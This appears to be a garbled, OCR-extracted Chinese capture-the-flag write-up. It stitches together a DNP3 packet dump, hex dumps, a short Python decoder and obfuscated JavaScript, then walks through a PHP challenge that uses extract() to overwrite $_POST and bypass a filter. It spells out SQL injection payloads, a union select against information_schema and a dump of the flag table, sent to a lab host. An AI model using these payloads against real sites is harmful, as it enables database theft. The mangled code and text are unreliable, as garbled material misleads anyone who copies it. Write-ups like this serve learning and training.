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TEZENT (1) —— DNP3HML
— LN S & Eread, TER S Hobject, LLKFile Data

v Object:
Size
File
. 000
g -

Size 27

(16 bit):
Handle: ©x12345678

0000 0000 0000 0000 0000 0000 00OO

i&/

TRENT EZE AR T DNP 3BT & T AERY

File Block Number:

0x00000000

File Last Block: Set

File

Data 546869732@69?320612@746573?42066695c65
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> Data Chunks
> [1 DNP 3.0 AL Fragment (22 bytes): #74(22)]

v Application Layer: (FIR,

> Application Control: exed,

Function Code:
> Internal Indications:

First,

Response (@x81)

axeeve

FIN, CON, Sequence 13, Response)

Final, Confirm(FIR, FIN, CON, Sequence 13)
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Edit &4s: Hex Fun Script Fun Template

)000h: 78 5E EC 9D 07 80 54 E5 BS F7 DS 46 51 B1 27 D1 x*i..€Ta!=UFQ+'N
}010h: 94 6B CA 2D BY DF FD EE FD 72 €F 94 5D B6 17 %6 “kE-Byiyro”]1d.-
}020h: AS DA 4B 12 8D 52 B6é EF 82 SA SE 6F SA 89 5D 14 ¥UK..RYi,3"03%].
}030h: 41 S& D2 DS RS 37 6B 34 F6 BR 05 41 7R EF DB CB RE0U¥Tk4sS.AzilE
}040h: F4 3E F3 FF FE CF 7B €6 60 CO 41 11 05 76 E1 99 &>0¥pI{f An..va™
}050h: E4 E7 39 73 CE 99 61 76 E6 BC EF EF 7D DE DA 23 &¢9si=™avelii)pl#
}J060h: BD 72 31 52 cA 17 A2 €7 D5 12 R4 55 2F 45 2B B7  -rlRE.¢gd.nU/E* -
J070h: 29 42 FS E1 24 D7 28 8& B2 28 BR 72 BB BB F9% 38 )BSASx (3¢ (Sr2"us
J080h: AD 76 19 92 2B 16 19 S5F CB B6 47 2A FF 93 54 32 -v.’'+.. BIG*§ T:
}090h: 1F 29 DC CA 81 18 49 95 87 D3 B3 42 51 14 45 51 .)UE..I*20£J0.EQ

HREE2AE
ZAE96 @ S5E. zlib 28H96, z11ih

Edit #s: Hex Fun Script Fun Template

0000h: p3 46 36 36 36 95 43 63 46 36 95 95 36 43 83 46 fF666+CfF6**6CSF
0010h: 95 95 95 43 B3 46 95 585 36 43 83 46 36 36 36 36 *+*CfE**6CfFE6E6E
0020h: 43 83 46 36 36 36 95 43 83 46 36 95 95 36 43 83 CfF666*CfFE=*6Cf
0030h: 46 95 95 3¢ 43 34 45 34 43 53 46 36 95 36 36 43 F+-6C4E4CfFE*66C
0040h: 83 46 36 95 36 95 43 83 46 36 36 95 36 43 B3 46 fF6*6*CfF66*6CfF
0050h: 236 36 95 43 34 45 34 43 83 46 36 95 95 43 53 46 66+C4E4CfFE**CfF
0060h: 36 95 36 95 43 83 46 36 36 36 36 43 83 46 36 36 6+*6*CfFGEGECSFEE
0070h: 36 43 34 45 34 43 83 46 36 95 95 36 43 83 46 36 6GC4E4CfFE~+6CSfFE
0080h: 95 95 36 43 B3 46 36 36 95 43 83 46 95 36 36 43 ++*6CfF66*CfEF*66C
0090h: 234 45 34 43 B3 46 3¢ 36 95 36 43 83 46 36 95 36 4E4CfFE6+6CSfFE*6
0020h: 95 43 83 46 36 36 95 36 43 83 46 36 95 95 985 43 +CfF66*6CfF6*=*C
00BOh: B3 46 95 95 36 43 83 46 95 36 95 43 83 46 36 36 fF-+6CfEF*6*CfFEE
00CcOh: 36 36 43 83 46 36 95 36 43 83 46 36 36 95 43 833 66CfF6*6CfF66CS
00D0h: 46 95 36 95 43 83 4¢ 36 95 95 43 83 46 36 36 95 F+6+*CfF6**CfF66E"
00EOh: 36 6
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1 /usr/bin/env python
# -*- coding:utf-8 -*-
# Author:lemon
if _ _name__
data
with open( 5 ,encoding

strings fp.read()

lists strings.split( )

# print(list)
for list in lists:
data=data+chr(int(1list))
print(data)

S.$$$_+S.$_ $+S._ +S._  $+S.$$$$+S.99$_+S.$_ $+S._$ S.$_$$+S.$_$_+S.9$_$+S.$%_ S.$__+S.$_$_+S.$$$%+S.$3%
b S.$__$+S.$_ $+S.9%_+S._$$ S.$$_$+S.$_$_+S.9%_$+S.$_ +S._ $+S. $_+S.$$$$+S.$_$+S.9%_+S. $_+S.$_ +S.$%
b

Bzt sel, R¥lAjencodefiil g, RALEHS, LESHEMARSH AT

$.99%_+$.9_ $+$._ +$. $+$.$$$$+$. 985 _+$.$_ $+$._ % $.9_335+$.9_%_+5.$% $+3.3%_ $.5__+$.9 % +3.$$99+%.%%
b $.9__$+$.9_ $+$.9%_+$._$$ $.99_$+9.9_$_+$.99_$+9.9_ +$._ $+$. $_+$.9999+$.9_$+9.9%_+$._$_+$.9_ +$.9%

$

EHRIBEAT, BE T jencodefIfEE R MIZIKTT, RKINFEEE Lalert, BRI R EH

alert("")
|

$=~[1;8={___:++8,$885:(I[[+")[S],__$:++8,$_S_:([+")[S]_$_:++8,5_SS:({}+"")[8] S$_S:($[S]+™)[S] _$S:++8 $SS_(1"+")[$] S__++$,3_$:++8,85__:({}+")
[8],88_++8,555:++8,5__++$.$_ $:++81:5.$_=($.5_=$+")[$.5_5]+($._$=$.5_[S.__ $])+(S.$5=($.$+")[$.__S])+((1$)+"")[$._$$]+($.__=$.5_[5.85_])+($.$=(I"+"")[S.__S])+($._=(I""+")
[$._5_1)+$.5_[$.5_§|+5.__+5._$+5.5;5.55=5.5+(I"+")[5._$8]+5.__+$._+5.5+5.55;5.5=(S.__)[$.5_][$.5_];5.5(S.5(S.55+"\"+8.5_S_+([]+")[$._S_]+$.855_+"\"+$.__§+5.55_+5._§_+$._ +"
(WA= O):

i B

$=~[$={__++8,8835:(1[1+")[8] _S:++8,5_S_([[+")[5]_S_++3,5_SS:((+™[8] $5_S:(S[S]+"")[S],_85:++5,885_:(I"+")[B].6__++$,5_$:++8,35_«({+")
[S],98_:++8,58$:+48,5___:++8,5_ §:++818.$_=($.5_=5+")[$.5_$]+(5._$=$.5_[S.__$])+($.55=(S.5+")[S.__SI)+((1$)+"")[$._S$+($.__=$.5_[$.85_])+($.5=(I"+")[S.__S])+(S._=(I"+")

[$._8 1)+5.5 [$.5 $]+5._ +5. $+5.5:8.55=8.8+(""+")[S._$3]+3._ +5. +3.5+3.88:5.5=(5.__ )[S.3_1[S.$_1;5.5(5.5(3.55+"\"+S.5_S_+(I[]+")[5._$_]+5.88%_+"\"+$.__ $+3.85_+5._$_+5._ +"
(W"1+$.__$+5.558_+"\W'+$._$+5.5 §+5.5_S+5_S+"W'+$._ $+$.5_§+5.55 W )+")))()i
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$=~[158={__:++$,3888: (L[1+"")[$],__$:++$,8_$_:(L[1+"")[$],_$_:++$,8_9%: ({3+"")[$1,99_$: ($[$1+"")[$],_$$:++$,9%$

$_[$.__$1)+($.98=($.3+"")[$._$]) $)+"")[$._$$1+($._=$.3_[$.9%_1)+($.%=( J$._$1)+($._=( )[$._$
1+$.$_[$.9_$]+$.__+$._$+3.5;%.9$=%.%+( Y. _$8]+%.__+%. +$.9+3.99;8.9=($.__ )[$.$_1[$.9_1:9.9(3.9(3.9%

$.9. 8 +(I[1+"")[$. $_1+9.9%%_ $._$+5.9%_+$. $ +%._ $.$$% +%.9_ $+%.  +$.  $+5.999$+$.9%% +%.9$
$+$._ % $.$_$%+9.9 $_+5.9%_$+3.9%_ $.9__+$.9_$_+$.999$+%.9%% $.$__$+%.9_ $+3.9%_+$. 3% $.$3_3%+9
-$_$_+9.$$ $+%.9_ +$._ $+$. $ +3.999$+5.5_$+9.9% +$. % +$.3_ +$.9% 3 )()) O

[
:( Y$1,$__:++$,$ $:+45,88_ ({J+"")[$],95_:++$,88%:++$,8_ :++$,$_ $:++93;%8.8 =($.$_=$+"")[$.$_$]+(%._$=%
q

www.atoolbox.net B~
e901fe91-bad6-4af7-9963-dad812f5624d

Web



0x01: T & M4
GE

114514

EA!

TR NEEEN:
http://gamectf.com/p/CGBU.png

XA A YR

http eci-2ze636qtsw50d6bniueft.cloudecil.ichungiu.com/www.zip

fEcode.php XXt R IsqiEH), MU i AR %A M Blindexphp XX A BB %, —HUARESRT B S, REHITSAL
ENBEflag.

if(in_array(f$code,$file code))
{

$sql = "select * from file where code="$code"";
$result = mysqli query(fthis->mysqli,$sql);
$result = mysqli fetch object(fresult);

return ' TEHESER ! ".$result->url;

}else{

return "IRIBAREE! ;

}

X R RE B R Bk EFindexphp i, K3

foreach(array(' GET', " POST', ' COOKIE') as $key)

{
if($skey) {
foreach($8key as $key 2 => fvalue 2) {
if(isset($fkey 2) and %$fkey 2 == Jvalue 2)
unset($gkey 2);
}
}
}

if(isset($ POST[ 'code’'])) $ POST[ code'] = $pan->filter($ POST[ code']);
if($_GET) extract($_GET, EXTR_SKIP);
if($ POST) extract($ POST, EXTR_SKIP);

BT FRUMZATH—BECTFHERM, ERHWETERES
foreach(array_expression as $value) & /i %5 5E K array_expression 4. FIREHRH, HaiEATHEHIRS Svalue I HEH W

e MR — P
foreach(array_expression as $key => $value) & 7 L HT BT E LS, BEHRSEFREA P HRAE L E Skey



AR —TF
#—2 foreach B, $_ key Bt/ GET, _POST, _COOKIE N E—/ $ B4 N ¢ GET, $_POST, $_COOKIE
php

foreach(array( s s ) as $key){

echo

print_r($$key);
echo
foreach($$key as $key 2 $value 2) {

echo
print_r($$key 2);
echo

echo
print_r($value 2);
echo

var_dump($$key 2==$value_2);echo

1
J

$$key

Array ([ GET] => Array ( [Temon] => 123))
$$key 2

Array ([ GET] => Array ( [Temon] => 123))
$value 2

Array ( [Temon] => 123)

bool(false)

[x ﬂ Elements Console Sources MNetwork Memaory Application Security Lighthouse

Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~ Other ~

@ Load URL http://127.0.0.1/3.php?_GET[1emon]=123
§ Split URL
¢ | Execute - . — .
Postdata [ ] Referer [ UserAgent [ ] Cookies Clear All

1emon=123

B UER IR U_GETRRARIE, R&E[EKSIR Efalse,iIXiALl_POSTIEA

$$key
Array ( [ POST] => Array ( [Temon] => 123))

$$key 2
Array ( [Temon] => 123)



$value 2
Array ( [Temon] => 123)
bool(true)

E Elomeont [opsolk Sources Metwork Memory Application Security Lighthouse

Encryption + Encoding~ SQL~ XSS~ LFl+ XXE~ Other~

4 Load URL http://127.0.0.1/3.php?_POST[1emon]=123
§ Ssplit URL
»  Execute _ _ _ .
Postdata (] Referer [] User Agent [ Cookies Clear All

1emon=123

unset ($$__key2) 18 $_PosT B EHE T, FTUABi Al kfiltersf#, FAEEHFwaltkFHPOSTH #unset T
if(isset($fkey 2) and $fkey 2 == fvalue 2)
unset($ikey 2);

}
}

if(isset(§ POST[ 'code’])) $ POST['code'] = $pan->filter($ POST[ code’']);

if($ GET) extract($ GET, EXTR_SKIP);

Performan

if($ POST) extract($ POST, EXTR SKIP);

BT RGEEIAT

$ GET) extract($_GET, EXTR_SKIP
$ POST) extract($_POST, EXTR_SKIP

PATZJES_POSTAEMNEIR T, W LAFEA MG A —T



php
foreach(array/( 5 ) as $key) {
if($$key) {
foreach($$key as $key 2 $value 2) {
if(isset($$key 2) $$key 2 $value 2)
unset($$key 2);

if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);

)
)

var_dump($_POST);

Notice: Undefined variable: POST in D:\phpStudy\PHPTutoria\WWW\4.php on line 3
before

GET:

array(1) {["_POST"]=> array(1) { ["Temon"]=> string(3) "123" } }

POST:

Notice: Undefined variable: POST in D:\phpStudy\PHPTutoria\WWW\4.php on line 16
NULL

after
POST:
array(1) { ["1Temon"]=> string(3) "123" }

PAT extract (O ZHI, $_GET FUHMIELZ PosT, $_PoST BN AFLE, ¢ GET FAMBELZ R PosT FIMEMEASAT A
A _POST KIZZ &, HEtRE ¢ posTZE, Frll$ PosT RINHHEJR



BT RN — Fpayload, RILA LG =

1LTE

R REEEA:
http://gamectf.com/p/CGBU.png

Elements Console Sources Network Memory Application Security Lighthouse Performance HackBar EditThisCookie

ption + Encoding~ SQL~ XSS~ LFI~ XXE~ Other ~

ad URL hitp://eci-2ze636qtsw50d6niueft.cloudecil.ichungiu.com/index.php?_ POST[code]=114514" and 1=1%23

lit URL

‘ecute . — .
Post data [] Referer [] UserAgent [ ] Cookies Clear All

code=114514"and 1=1%23

ERBKEEREANTT NEF AT

_POST[code]=114514" order by 4%23
DATA:

code=114514" order by 47%23

BEER

p=a=U
8 FHEREN: filefag
ents Console Sources Network Memory Application Security Lighthouse Performance HackBar EditThisCookie £
Encoding ~  SUL ~ XS5 ¥ LFI' >  XXE ~ Uther ~ Help!

http:/feci-2zeffkmBfixhjyaulxrm.cloudecil.ichungiu.com/?_POST[code]=114514" and 0=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctf'%23

Postdata (] Referer (] UserAgent [ Cookies Clear All

code=114514" and 0=1 union select 1,2,group_concat(table_name) from information_schema.tables
where table_schema='ctf'%23

BT BUE

_POST[code]=114514
flag'%23

=1
EE TEEEE: flag

Elements Console Sources Network Memory Application Security Lighthouse Performance HackBar EditThisCookie
n- Encoding - SUL ~ ASO ¥ LFl ~ AXE ~ Uther «

JRL http://eci-2zeffkm6fixhjyauOxrm.cloudecil.ichungiu.com/?_POST[code]|=114514" and 0=1 union select 1,2,group_concat(column_name) from information_schema.columns where
table_name='flag'%23

5‘ Post data (] Referer [] User Agent [] Cookies Clear All

code=114514" and 0=1 union select 1,2,group_concat(column_name) from
information_schema.columns where table_name='flag'%23

BME



_POST[code]=114514"' and ©=1 union select 1,2,flag from flagk23

DATA
code=114514" and ©=1 union select 1,2,flag from flag¥k23

ey e e
=S =1
R TEEREN: flag{bf9279b7-e36a-4491-8¢58-2d1ac904b323)

K ﬂ Elements Console Sources Network Memory Application Security Lighthouse HackBar  » o
Encryption + Encoding ¥ SUL~ XSS~ LFl~ XXE ~ Uther - Hel
& Load URL http://eci-2zeffkm6fixhjyauOxrm.cloudecii.ichungiu.com/? _POST[code]=114514" and 0=1 union
i select 1,2,flag from flag%23
% spiit URL
» | Execute _ _ _ .
Postdata [ | Referer [ ] User Agent [ | Cookies Clear All

code=114514" and 0=1 union select 1,2,flag from flag%23
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